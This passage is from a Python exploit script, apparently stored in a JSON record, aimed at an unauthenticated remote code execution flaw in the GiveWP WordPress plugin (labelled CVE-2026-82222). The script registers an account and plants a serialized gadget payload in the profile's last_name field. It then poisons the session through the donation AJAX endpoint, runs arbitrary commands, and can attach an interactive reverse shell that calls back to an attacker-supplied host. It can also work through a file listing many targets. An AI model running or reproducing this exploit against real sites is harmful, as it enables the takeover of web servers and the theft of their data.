f\"{user}@poc.local\"\n    marker_rel = args.marker_path.strip(\"/\")\n    shell_mode = bool(args.shell)\n    if shell_mode:\n        command = build_reverse_shell_command(\n            args.shell, args.lport, args.python_bin)\n    else:\n        # NOTE: profile.php HTML-escapes '&lt;', '&gt;' and '&amp;', which breaks the\n        # serialized payload byte lengths. Capture output with tee instead.\n        command = f\"({args.cmd}) | tee {marker_rel}/{token}.txt\"\n    payload = build_payload(command, token)\n    marker_url = f\"{base}/{marker_rel}/{token}.txt\"\n\n    if args.dry_run:\n        ev[\"dry_run\"] = {\"token\": token, \"command\": command,\n                         \"payload_len\": len(payload),\n                         \"payload_b64\": base64.b64encode(payload.encode()).decode()}\n        if not shell_mode:\n            ev[\"dry_run\"][\"marker_url\"] = marker_url\n        return ev\n\n    s = requests.Session()\n    s.headers.update(UA)\n    s.verify = False\n    T = args.timeout\n\n    def step(name, ok, detail=\"\"):\n        ev[\"steps\"][name] = {\"ok\": bool(ok), \"detail\": str(detail)[:160]}\n        print(f\"    [{'PASS' if ok else 'FAIL'}] {name}\" + (f\" \u2014 {detail}\" if detail else \"\"))\n        return ok\n\n    print(f\"[*] target {base}  token {token}\")\n\n    # -- 1. unauthenticated registration -------------------------------------\n    r = s.post(f\"{base}/\", data={\n        \"give_action\": \"user_register\",\n        \"give_user_login\": user,\n        \"give_user_email\": email,\n        \"give_user_pass\": \"PocPass!123\",\n        \"give_user_pass2\": \"PocPass!123\",\n        \"give_register_submit\": \"Register\",\n    }, timeout=T)\n    cookies = list(s.cookies.get_dict())\n    if not step(\"register (auth cookie issued)\",\n                any(\"logged_in\" in c for c in cookies), f\"status={r.status_code}\"):\n        ev[\"note\"] = (\"registration did not issue an auth cookie \u2014 target may be \"\n                      \"GiveWP &gt;= 4.16.6 (nonce-gated registration) or patched\")\n        return ev\n\n    # -- 2. plant the serialized graph in own last_name meta ------------------\n    r = s.get(f\"{base}/wp-admin/profile.php\", timeout=T, allow_redirects=True)\n    nonce = grab(r'name=\"_wpnonce\"[^&gt;]*value=\"([^\"]+)\"', r.text)\n    uid = grab(r'name=\"user_id\"[^&gt;]*value=\"([^\"]+)\"', r.text)\n    ckid = grab(r'name=\"checkuser_id\"[^&gt;]*value=\"([^\"]+)\"', r.text) or uid\n    if not step(\"profile nonce harvested\", bool(nonce and uid), f\"uid={uid!r}\"):\n        return ev\n\n    r = s.post(f\"{base}/wp-admin/profile.php\", data={\n        \"_wpnonce\": nonce, \"_wp_http_referer\": \"/wp-admin/profile.php\",\n        \"from\": \"profile\", \"checkuser_id\": ckid, \"user_login\": user,\n        \"first_name\": \"Poc\", \"last_name\": payload, \"nickname\": user,\n        \"email\": email, \"display_name\": user, \"user_id\": uid,\n        \"action\": \"update\", \"submit\": \"Update Profile\",\n    }, timeout=T)\n    updated = \"Profile updated\" in r.text\n    r2 = s.get(f\"{base}/wp-admin/profile.php\", timeout=T, allow_redirects=True)\n    m = (re.search(r'name=\"last_name\"[^&gt;]*value=\"([^\"]*)\"', r2.text)\n         or re.search(r'value=\"([^\"]*)\"[^&gt;]*name=\"last_name\"', r2.text))\n    stored = m.group(1) if m else \"\"\n    if not step(\"gadget stored in last_name meta\",\n                updated and \"TCPDF\" in stored and \"attributeName\" in stored,\n                f\"update={updated} stored_len={len(stored)}\"):\n        return ev\n\n    # -- 3. poison the session ------------------------------------------------\n    form_id = args.form_id\n    if not form_id:\n        form_id, src = discover_form_id(s, base, T)\n        step(\"donation form discovered\", bool(form_id),\n             f\"form_id={form_id} via {src}\" if form_id else \"no give_forms found; use --form-id\")\n        if not form_id:\n            return ev\n    ev[\"form_id\"] = form_id\n\n    r = s.post(f\"{base}/wp-admin/admin-ajax.php\",\n               data={\"action\": \"give_donation_form_nonce\", \"give_form_id\": form_id},\n               timeout=T)\n    form_hash = \"\"\n    try:\n        form_hash = r.json().get(\"data\", \"\")\n    except Exception:\n        pass\n    if not step(\"donation nonce via admin-ajax\", bool(form_hash), f\"nonce={form_hash[:10]}...\"):\n        return ev\n\n    r = s.post(f\"{base}/wp-admin/admin-ajax.php\", data={\n        \"give-form-id\": form_id,\n        \"give-form-hash\": form_hash,\n        \"give-price-id\": \"0\",\n        \"give-amount\": args.amount,\n        \"give_first\": \"Poc\",\n        \"give_email\": email,              # give_last intentionally omitted\n        \"give-gateway\": \"manual\",\n        \"action\": \"give_process_donation\",\n    }, timeout=T)\n    step(\"session poisoned (HTTP 500 after write)\", r.status_code == 500,\n         f\"status={r.status_code}\"\n         + (\"\" if r.status_code == 500 else\n            \" (no crash: amount/gateway mismatch or write-path rejection \u2014\"\n            \" target may be patched)\"))\n\n    # -- 4a. trigger and attach the reverse shell -----------------------------\n    trigger_urls = [f\"{base}/\", f\"{base}/?p={form_id}\",\n                    f\"{base}/?post_type=give_forms\"]\n    if shell_mode:\n        listener = open_listener(args.bind_host, args.lport)\n        print(f\"[*] listening on {args.bind_host}:{args.lport}; \"\n              f\"callback address {args.shell}:{args.lport}\")\n        try:\n            conn, peer, attempt = trigger_reverse_shell(\n                s, trigger_urls, listener, T, args.connect_timeout)\n            if conn is None:\n                step(\"reverse shell connected\", False,\n                     f\"no callback after {args.connect_timeout}s\")\n                ev[\"note\"] = (\"the target did not connect back; verify LHOST,\"\n                              \" firewall rules, Python/bash availability, and egress\")\n                return ev\n\n            peer_text = f\"{peer[0]}:{peer[1]}\"\n            step(\"reverse shell connected\", True,\n                 f\"peer={peer_text} trigger#{attempt}\")\n            ev[\"confirmed\"] = True\n            ev[\"shell\"] = {\"callback\": f\"{args.shell}:{args.lport}\",\n                           \"peer\": peer_text}\n            print(\"[*] interactive shell attached; use Ctrl-D or 'exit' to close\")\n            try:\n                interactive_session(conn)\n            finally:\n                conn.close()\n            print(\"\\n[*] remote shell closed\")\n            return ev\n        finally:\n            listener.close()\n\n    # -- 4b. trigger and verify the marker over HTTP --------------------------\n    for attempt, url in enumerate(trigger_urls):\n        try:\n            s.get(url, timeout=T)\n        except requests.RequestException:\n            pass\n        try:\n            m = s.get(marker_url, timeout=T)\n            if m.status_code == 200 and m.text.strip():\n                out = m.text.strip()[:400]\n                step(\"command executed (marker fetched over HTTP)\", True,\n                     f\"trigger#{attempt + 1}\")\n                ev[\"confirmed\"] = True\n                ev[\"command\"] = args.cmd\n                ev[\"output\"] = out\n                ev[\"marker_url\"] = marker_url\n                print(\"    ---- command output \" + \"-\" * 34)\n                for line in out.splitlines()[:6]:\n                    print(\"    \" + line)\n                print(\"    \" + \"-\" * 52)\n                return ev\n        except requests.RequestException:\n            pass\n        time.sleep(1.5)\n\n    step(\"command executed (marker fetched over HTTP)\", False,\n         f\"marker {marker_url} not retrievable\")\n    ev[\"note\"] = (\"session poison may still have occurred; marker unreadable \"\n                  \"can mean uploads not writable, different webroot, or a \"\n                  \"patched/unsupported target\")\n    return ev\n\n\n# ------------------------------------------------------------------- main ---\n\ndef main():\n    ap = argparse.ArgumentParser(\n        description=\"CVE-2026-82222 GiveWP &lt;= 4.16.7.1 unauthenticated RCE PoC\",\n        formatter_class=argparse.RawDescriptionHelpFormatter)\n    tgt = ap.add_mutually_exclusive_group(required=True)\n    tgt.add_argument(\"-u\", \"--url\", help=\"single target base URL\")\n    tgt.add_argument(\"-f\", \"--file\", help=\"file with one target URL per line\")\n    mode = ap.add_mutually_exclusive_group()\n    mode.add_argument(\"--cmd\", default=\"id\",\n                      help=\"command to execute (default: id; avoid '&lt;')\")\n    mode.add_argument(\"--shell\", metavar=\"LHOST\",\n                      help=\"connect back to LHOST and attach an interactive shell\")\n    ap.add_argument(\"--lport\", type=int, default=4444,\n                    help=\"reverse-shell callback/listener port (default: 4444)\")\n    ap.add_argument(\"--bind-host\", default=\"0.0.0.0\",\n                    help=\"local listener address (default: 0.0.0.0)\")\n    ap.add_argument(\"--connect-timeout\", type=int, default=30,\n                    help=\"seconds to wait for a reverse-shell callback (default: 30)\")\n    ap.add_argument(\"--python-bin\", default=\"python3\",\n                    help=\"preferred Python executable on target; bash is fallback\")\n    ap.add_argument(\"--form-id\", help=\"donation form ID (skips auto-discovery)\")\n    ap.add_argument(\"--amount\", default=\"10.00\", help=\"donation amount (default 10.00)\")\n    ap.add_argument(\"--marker-path\", default=\"wp-content/uploads\",\n                    help=\"HTTP-visible writable path for the marker (default wp-content/uploads)\")\n    ap.add_argument(\"--timeout\", type=int, default=20)\n    ap.add_argument(\"--json\", dest=\"json_out\", help=\"write evidence JSON here\")\n    ap.add_argument(\"--dry-run\", action=\"store_true\",\n                    help=\"build the payload and exit (no requests sent)\")\n    args = ap.parse_args()\n\n    if args.shell and args.file:\n        ap.error(\"--shell requires a single target via --url\")\n    if not 1 &lt;= args.lport &lt;= 65535:\n        ap.error(\"--lport must be between 1 and 65535\")\n    if args.connect_timeout &lt; 1:\n        ap.error(\"--connect-timeout must be at least 1 second\")\n\n    bad = [c for c in \"&lt;&gt;&amp;\" if c in args.cmd] if not args.shell else []\n    if bad:\n        ap.error(\"command must not contain \" + \" \".join(repr(c) for c in bad)\n                 + \" (the WordPress profile storage HTML-escapes them and the\"\n                   \" serialized payload would no longer parse; use e.g. 'tee')\"\n                 \" instead of '&gt;')\")\n\n    if args.url:\n        targets = [args.url]\n    else:\n        try:\n            targets = [ln.strip() for ln in open(args.file)\n                       if ln.strip() and not ln.startswith(\"#\")]\n        except OSError as e:\n            ap.error(str(e))\n    if not targets:\n        ap.error(\"no targets\")\n\n    selected_mode = (f\"interactive shell -&gt; {args.shell}:{args.lport}\"\n                     if args.shell else f\"cmd={args.cmd!r}\")\n    print(f\"CVE-2026-82222 GiveWP unauth RCE PoC \u2014 {len(targets)} target(s), \"\n          f\"{selected_mode}\\n\")\n\n    results = []\n    for t in targets:\n        try:\n            results.append(exploit_target(t, args))\n        except Exception as e:                       # keep batch alive\n            print(f\"    [FAIL] unexpected error \u2014 {type(e).__name__}: {e}\")\n            results.append({\"target\": t, \"confirmed\": False,\n                            \"steps\": {\"exception\": {\"ok\": False, \"detail\": str(e)[:160]}}})\n        print()\n\n    print(\"=\" * 64)\n    print(f\"{'target':&lt;42} {'result':&lt;12}\")\n    print(\"-\" * 64)\n    for r in results:\n        print(f\"{r.get('target', '?'):&lt;42} \"\n              f\"{'RCE CONFIRMED' if r.get('confirmed') else 'not confirmed':&lt;12}\")\n    print(\"=\" * 64)\n    ok = sum(1 for r in results if r.get(\"confirmed\"))\n    print(f\"{ok}/{len(results)} target(s) confirmed command execution\")\n\n    if args.json_out:\n        with open(args.json_out, \"w\") as fh:\n            json.dump(results, fh, indent=2)\n        print(f\"evidence written to {args.json_out}\")\n\n    sys.exit(0 if ok == len(results) and ok &gt; 0 else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n", "creation_timestamp": "2026-10-03T04:12:26.000000Z"}]}